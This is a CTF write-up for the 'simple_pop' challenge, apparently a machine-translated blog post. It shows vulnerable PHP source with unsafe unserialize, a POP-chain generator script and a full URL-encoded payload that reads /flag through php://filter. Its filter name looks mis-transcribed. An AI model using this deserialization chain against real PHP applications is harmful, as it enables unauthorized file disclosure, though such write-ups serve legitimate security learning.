当前位置:网站首页>BMZCTF simple_ pop
BMZCTF simple_ pop
2022-07-03 04:15:00 【Listen to the snowflakes flying outside】
simple_pop
Open the topic to get the source code

This side is php The test site of pseudo agreement , Need to read useless.php

Decode to get the source code
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
This pop The chain is through show Class toString To trigger test Class get Last call Modifier invoke To get flag
<?php
class Modifier
{
protected $var = 'php://filter/convert.base64_encode/resource=/flag';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$s -> source = $s;
$s -> str = $t;
$t -> p = $m;
echo urlencode(serialize($s));
structure payload
?password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64_encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

Decode to get flag

边栏推荐
- Taking two column waterfall flow as an example, how should we build an array of each column
- 2022 P cylinder filling examination content and P cylinder filling practice examination video
- [NLP]—sparse neural network最新工作简述
- Idea shortcut keys
- eth入门之简介
- Xrandr modify resolution and refresh rate
- Application of I2C protocol of STM32F103 (read and write EEPROM)
- 有监督预训练!文本生成又一探索!
- Basic syntax of class
- Database management tool, querious direct download
猜你喜欢

国产PC系统完成闭环,替代美国软硬件体系的时刻已经到来

【刷题篇】接雨水(一维)

2022 tea master (intermediate) examination questions and analysis and tea master (intermediate) practical examination video

CVPR 2022 | Dalian Technology propose un cadre d'éclairage auto - étalonné pour l'amélioration de l'image de faible luminosité de la scène réelle

用户体验五要素

Is pytorch open source?

2022 P cylinder filling examination content and P cylinder filling practice examination video
![[Apple Push] IMessage group sending condition document (push certificate) development tool pushnotification](/img/30/c840e28c0ef7c8ce574dcde4363863.jpg)
[Apple Push] IMessage group sending condition document (push certificate) development tool pushnotification

Database management tool, querious direct download

CVPR 2022 | Dalian Institute of technology proposes a self calibration lighting framework for low light level image enhancement of real scenes
随机推荐
有监督预训练!文本生成又一探索!
Pdf editing tool movavi pdfchef 2022 direct download
[untitled] 2022 safety production supervisor examination question bank and simulated safety production supervisor examination questions
In Net 6 project using startup cs
Write it down once Net travel management background CPU Explosion Analysis
540. Single element in ordered array
【刷题篇】接雨水(一维)
Competitive product analysis and writing
Appium automated testing framework
Dismantle a 100000 yuan BYD "Yuan". Come and see what components are in it.
JS realizes the animation effect of text and pictures in the visual area
[nlp] - brief introduction to the latest work of spark neural network
Supervised pre training! Another exploration of text generation!
[fairseq] 报错:TypeError: _broadcast_coalesced(): incompatible function arguments
Two points -leetcode-540 A single element in an ordered array
重绘和回流
MongoDB 慢查询语句优化分析策略
树莓派如何连接WiFi
The latest activation free version of Omni toolbox
在写web项目的时候,文件上传用到了smartupload,用了new string()进行转码,但是在数据库中,还是会出现类似扑克的乱码